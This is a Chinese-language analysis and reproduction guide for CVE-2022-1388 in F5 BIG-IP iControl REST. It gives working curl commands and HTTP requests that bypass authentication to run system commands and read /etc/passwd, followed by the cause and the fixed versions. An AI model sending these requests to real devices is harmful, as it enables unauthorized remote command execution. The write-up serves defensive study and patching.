CVE-2022-1388复现
字数 1701 2025-08-07 00:35:04

CVE-2022-1388: BIG-IP iControl REST 漏洞分析与复现指南

0x00 漏洞概述

CVE-2022-1388是F5 BIG-IP产品中iControl REST接口的一个严重漏洞,CVSSv3评分为9.8(严重级别)。

影响范围

受影响产品:BIG-IP (所有模块)

受影响版本

  • 17.x:无受影响版本(17.0.0已修复)
  • 16.x:16.1.0 - 16.1.2
  • 15.x:15.1.0 - 15.1.5
  • 14.x:14.1.0 - 14.1.4
  • 13.x:13.1.0 - 13.1.4
  • 12.x:12.1.0 - 12.1.6(官方无补丁)
  • 11.x:11.6.1-11.6.5(官方无补丁)

漏洞影响

该漏洞允许:

  • 未授权的攻击者通过管理端口和/或自身IP地址访问BIG-IP系统
  • 执行任意系统命令
  • 创建或删除文件
  • 禁用服务

注意:这是一个控制平面问题,不涉及数据平面暴露。

0x01 漏洞复现

环境准备

  1. 从F5官网下载受影响版本的虚拟镜像:

    • 访问 https://downloads.f5.com/esd/productlines.jsp
    • 选择受影响版本内的虚拟机OVA包
  2. 导入虚拟机:

    • 直接双击OVA文件导入
    • 或通过虚拟机软件手动导入
  3. 获取IP地址:

    • 使用root/default登录虚拟机
    • 执行命令:ifconfig mgmt

漏洞验证

通过浏览器访问:https://<ip>,查看登录界面

利用方法

方法一:使用curl命令

执行id命令

curl -i -s -k -X $'POST' \
-H $'Host: <target>:8443' \
-H $'Authorization: Basic YWRtaW46' \
-H $'Connection: keep-alive, X-F5-Auth-Token' \
-H $'X-F5-Auth-Token: 0' \
-H $'Content-Length: 52' \
--data-binary $'{\"command\": \"run\", \"utilCmdArgs\": \"-c \'id\'\"}\x0d\x0a' \
$'https://<target>:8443/mgmt/tm/util/bash'

读取/etc/passwd文件

curl -i -s -k -X $'POST' \
-H $'Host: <target>:8443' \
-H $'Authorization: Basic YWRtaW46' \
-H $'Connection: keep-alive, X-F5-Auth-Token' \
-H $'X-F5-Auth-Token: 0' \
--data-binary $'{\"command\": \"run\", \"utilCmdArgs\": \"-c \'cat /etc/passwd\'\"}\x0d\x0a\x0d\x0a' \
$'https://<target>/mgmt/tm/util/bash'

方法二:直接HTTP请求

请求示例1

POST /mgmt/tm/util/bash HTTP/1.1
Host: <target>:8443
Authorization: Basic YWRtaW46
Connection: keep-alive, X-F5-Auth-Token
X-F5-Auth-Token: 0

{
  "command": "run",
  "utilCmdArgs": "-c 'id'"
}

请求示例2

POST /mgmt/tm/util/bash HTTP/1.1
Host: <target>:8443
Authorization: Basic YWRtaW46
Connection: keep-alive, X-F5-Auth-Token
X-F5-Auth-Token: 0

{
  "command": "run",
  "utilCmdArgs": "-c 'cat /etc/passwd'"
}

注意事项

  1. 对于14.x-16.x版本,请求头需要设置为:Host: localhost
  2. 漏洞利用利用了以下两个关键点:
    • 使用空凭据admin:绕过前后端身份验证
    • HTTP的hop-by-hop请求头问题

0x02 漏洞原理

HTTP hop-by-hop请求头问题

该漏洞利用了HTTP协议中关于"逐跳"(hop-by-hop)请求头的特性:

  1. 请求可以定义一组自定义标头,通过将它们添加到Connection头中实现逐跳处理

  2. 示例:Connection: close, X-Foo, X-Bar

    • 表示要求代理将X-FooX-Bar作为逐跳处理
    • 代理应在传递请求前将它们从请求中删除
  3. 在漏洞利用中,攻击者通过Connection: keep-alive, X-F5-Auth-Token头:

    • 指示代理移除X-F5-Auth-Token
    • 但后端服务器仍会处理这个头,导致认证绕过

0x03 修复方案

官方建议

  1. 升级到已修复版本:

    • 17.x:升级到17.0.0
    • 16.x:升级到16.1.2.2
    • 15.x:升级到15.1.5.1
    • 14.x:升级到14.1.4.6
    • 13.x:升级到13.1.5
  2. 对于无法升级的版本(12.x和11.x),采取以下缓解措施:

    • 通过自身IP地址阻止iControl REST访问
    • 通过管理界面阻止iControl REST访问
    • 修改BIG-IP httpd配置

详细修复建议参考官方文档:https://support.f5.com/csp/article/K23605346

0x04 参考资源

  1. 漏洞利用代码参考:https://packetstormsecurity.com/files/167007/F5-BIG-IP-Remote-Code-Execution.html
  2. HTTP hop-by-hop技术分析:
    • https://portswigger.net/research/top-10-web-hacking-techniques-of-2019-nominations-open
    • https://nathandavison.com/blog/abusing-http-hop-by-hop-request-headers
  3. 官方漏洞公告:https://support.f5.com/csp/article/K23605346
CVE-2022-1388: BIG-IP iControl REST 漏洞分析与复现指南 0x00 漏洞概述 CVE-2022-1388是F5 BIG-IP产品中iControl REST接口的一个严重漏洞,CVSSv3评分为9.8(严重级别)。 影响范围 受影响产品 :BIG-IP (所有模块) 受影响版本 : 17.x:无受影响版本(17.0.0已修复) 16.x:16.1.0 - 16.1.2 15.x:15.1.0 - 15.1.5 14.x:14.1.0 - 14.1.4 13.x:13.1.0 - 13.1.4 12.x:12.1.0 - 12.1.6(官方无补丁) 11.x:11.6.1-11.6.5(官方无补丁) 漏洞影响 该漏洞允许: 未授权的攻击者通过管理端口和/或自身IP地址访问BIG-IP系统 执行任意系统命令 创建或删除文件 禁用服务 注意 :这是一个控制平面问题,不涉及数据平面暴露。 0x01 漏洞复现 环境准备 从F5官网下载受影响版本的虚拟镜像: 访问 https://downloads.f5.com/esd/productlines.jsp 选择受影响版本内的虚拟机OVA包 导入虚拟机: 直接双击OVA文件导入 或通过虚拟机软件手动导入 获取IP地址: 使用root/default登录虚拟机 执行命令: ifconfig mgmt 漏洞验证 通过浏览器访问: https://<ip> ,查看登录界面 利用方法 方法一:使用curl命令 执行id命令 : 读取/etc/passwd文件 : 方法二:直接HTTP请求 请求示例1 : 请求示例2 : 注意事项 对于14.x-16.x版本,请求头需要设置为: Host: localhost 漏洞利用利用了以下两个关键点: 使用空凭据 admin: 绕过前后端身份验证 HTTP的hop-by-hop请求头问题 0x02 漏洞原理 HTTP hop-by-hop请求头问题 该漏洞利用了HTTP协议中关于"逐跳"(hop-by-hop)请求头的特性: 请求可以定义一组自定义标头,通过将它们添加到 Connection 头中实现逐跳处理 示例: Connection: close, X-Foo, X-Bar 表示要求代理将 X-Foo 和 X-Bar 作为逐跳处理 代理应在传递请求前将它们从请求中删除 在漏洞利用中,攻击者通过 Connection: keep-alive, X-F5-Auth-Token 头: 指示代理移除 X-F5-Auth-Token 头 但后端服务器仍会处理这个头,导致认证绕过 0x03 修复方案 官方建议 升级到已修复版本: 17.x:升级到17.0.0 16.x:升级到16.1.2.2 15.x:升级到15.1.5.1 14.x:升级到14.1.4.6 13.x:升级到13.1.5 对于无法升级的版本(12.x和11.x),采取以下缓解措施: 通过自身IP地址阻止iControl REST访问 通过管理界面阻止iControl REST访问 修改BIG-IP httpd配置 详细修复建议参考官方文档:https://support.f5.com/csp/article/K23605346 0x04 参考资源 漏洞利用代码参考:https://packetstormsecurity.com/files/167007/F5-BIG-IP-Remote-Code-Execution.html HTTP hop-by-hop技术分析: https://portswigger.net/research/top-10-web-hacking-techniques-of-2019-nominations-open https://nathandavison.com/blog/abusing-http-hop-by-hop-request-headers 官方漏洞公告:https://support.f5.com/csp/article/K23605346